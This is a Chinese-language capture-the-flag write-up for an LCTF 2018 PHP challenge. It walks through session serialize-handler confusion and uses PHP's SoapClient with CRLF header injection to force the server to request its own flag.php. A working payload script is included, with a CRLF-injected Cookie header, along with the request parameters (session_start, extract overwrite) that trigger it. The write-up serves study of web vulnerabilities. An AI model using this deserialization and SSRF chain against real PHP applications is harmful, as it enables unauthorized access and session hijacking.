上周的lctf,只看了一下这一题,感觉有点意思,整理一波

<?php
error_reporting(0);
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');//reset()可以得到该数组的第0个,
call_user_func($b,$a);//implode函数可以得到返回这个数组中元素拼接得到的字符串
?>

代码很简单,一共有两个call_user_func,第一个的参数我们完全可控,第二个不可控,访问flag.php发现

if ($_SERVER["REMOTE_ADDR"]==="127.0.0.1") {
		$_SESSION["flag"]=$flag;
	}

这里思路应该是执行函数,构造ssrf,让服务器访问flag.php。题目还给了hint,反序列化。所以应该要构造反序列比赛的时候没有找到可以利用的类。

这里的思路是利用原生的php类soap

什么是SOAP

soap相关链接

SOAP是webservice的三要素之一。WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。简单而言,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。 其采用HTTP作为底层通讯协议,XML作为数据传送的格式 SOAP消息。

PHP中的SoapClient

我们可以通过它来发送http/https请求,SoapClient类可以创建soap数据报文,与wsdl接口进行交互。(在相关链接中有详细的讲述)。同时,这里的http头部还存在crlf漏洞 ,也就是说,我们可以控制服务器来发送http报文,还可以控制报文中的内容。

所以我们只要利用这个类,反序列化便可以进行ssrf。

如何进行反序列?

这里利用了php不同序列化解析引擎导致的反序列化漏洞进行反序列化操作,

php在对session进行序列化时默认引擎为php,除了php引擎还存在其他引擎,对序列化的处理不同

php_binary:存储方式是键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是经过serialize()函数序列化处理的值 
同样的$_SESSION['name']='spoock'
php:name|s:6:"spoock";
php_serialize:a:1:{s:4:"name";s:6:"spoock";}
php_binary:names:6:"spoock";

这里就存在陷阱,如果我们序列化和反序列化采用的引擎不同,就会存在安全问题。

举例:我们采用php_serialize方式存入session为” xxxxxx”这时候我们使用php进行反序列化,php会将 看成key和value的分隔符,就会将之后的值进行反序列化,触发漏洞。

这题的思路

经过前面的分析,可以理一下思路

首先,我们可以控制第一个call_user_func,这里用session_start设置引擎为php_serialize,然后使用name传进去一个构造好的SoapCilent的类存到session里面,这个SoapClient反序列化之后可以让服务器去访问flag.php,这时候,我们只需要触发session,让其序列化,就可以使用默认php引擎去反序列化,(这里利用call_user_func,call_user_func,可以接受一个数组中的对象,对类进行回调,这时候触发构造函数)这时候就可以触发,这里的。我们使用这个session便可以得到flag。

payload

<?php
$a = new SoapClient(null, array(
	'location' => "http://127.0.0.1/flag.php",
	'user_agent' => "AAA:BBB\r\n"."Cookie:PHPSESSID=22704eeclr7famlh9s21m9to26",
	'uri' => "123"
));
$s = serialize($a);
echo urlencode($s)
传入name= 字符串,f=session_start,post的信息:serialize_handler=php_serialize。然后再次访问,f=extract,b=call_user_func,会进行变量覆盖(extract会将数组中的key解析成变量)。

最后只要用这个phpsessid访问可以得到flag。